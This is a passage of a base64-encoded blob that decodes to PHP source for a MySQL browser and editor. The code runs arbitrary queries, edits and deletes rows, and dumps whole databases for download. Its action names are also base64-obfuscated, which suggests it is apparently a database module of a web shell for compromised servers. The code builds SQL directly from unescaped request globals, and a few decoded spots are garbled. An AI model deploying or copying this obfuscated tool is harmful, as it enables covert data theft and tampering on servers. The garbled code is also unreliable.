JZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJJEdMT0JBTFNbcXVlcnlTdHJdID0gJHF1ZXJ5U3RyOw0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWVjaG8gIjxocj5cbiI7DQoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJm9yZGVyYnk9Ii4kZmllbGQtPm5hbWUuIic+Ii4kZmllbGQtPm5hbWUuIjwvYT5cbiI7DQoJCWVsc2UNCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7DQoJCWVjaG8gIjwvdGg+XG4iOw0KCX0NCgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApDQoJCQkJJGRhdGEgPSBzdWJzdHIoICRkYXRhLCAwLCAzMCApIC4gIi4uLiI7DQoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7DQoJCQllY2hvICI8dGQ+XG4iOw0KCQkJZWNobyAiJGRhdGFcbiI7DQoJCQllY2hvICI8L3RkPlxuIjsNCgkJfQ0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlByZXY8L2ZvbnQ+IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0xICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSsyKTsNCgkJZWxzZQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+TmV4dDwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIk5leHQiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRyb3cgPiAkcm93cGVycGFnZSApIHsNCgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdlPlxuIjsNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOw0KCX0NCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvZm9udD5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgPSAgIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IiwgJG15c3FsSGFuZGxlICk7DQoJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJfQ0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoJCWVjaG8gIjx0cj4iOw0KCQllY2hvICI8dGQ+JGZpZWxkbmFtZTwvdGQ+IjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+IjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiPHNlbGVjdCBuYW1lPSR7ZmllbGRuYW1lfV9mdW5jdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOw0KCQllY2hvICI8b3B0aW9uPkNIQVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+U09VTkRFWFxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUlRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Tk9XXG4iOw0KCQllY2hvICI8b3B0aW9uPlBBU1NXT1JEXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0RJRkZcbiI7DQoJCWVjaG8gIjxvcHRpb24+VE9fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOw0KCQllY2hvICI8b3B0aW9uPldFRUtEQVlcbiI7DQoJCWVjaG8gIjxvcHRpb24+UkForFxuIjsNCgkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkZGF0YVskaV0pOw0KCQlpZiggJGNtZCA9PSAiYWRkIiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9IGVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQlpZiggJHZhbHVlID09ICRzdHIgKQ0KCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT4kdmFsdWU8L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RyPiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IERhdGEnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJJGtleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQoJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEForCAiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIsJG15c3FsSGFuZGxlKTsNCgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBNWVNRTF9BU1NPQyk7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOw0KCWVjaG8gJHRhYmxlZHVtcDsNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KCQkkZmllbGRjb3VudGVyID0gLTE7DQoJCSRmaXJzdGZpZWxkID0gMTsNCgkJLy8gZ2V0IGVhY2ggZmllbGQncyBkYXRhDQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQ0KCQl7DQoJCQlpZiAoISRmaXJzdGZpZWxkKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZmlyc3RmaWVsZCA9IDA7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1lKTsNCgkJZWNobyAiXG5cblxuIjsNCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICR0YWJsZW5hbWUgVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJZXhpdDsNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVj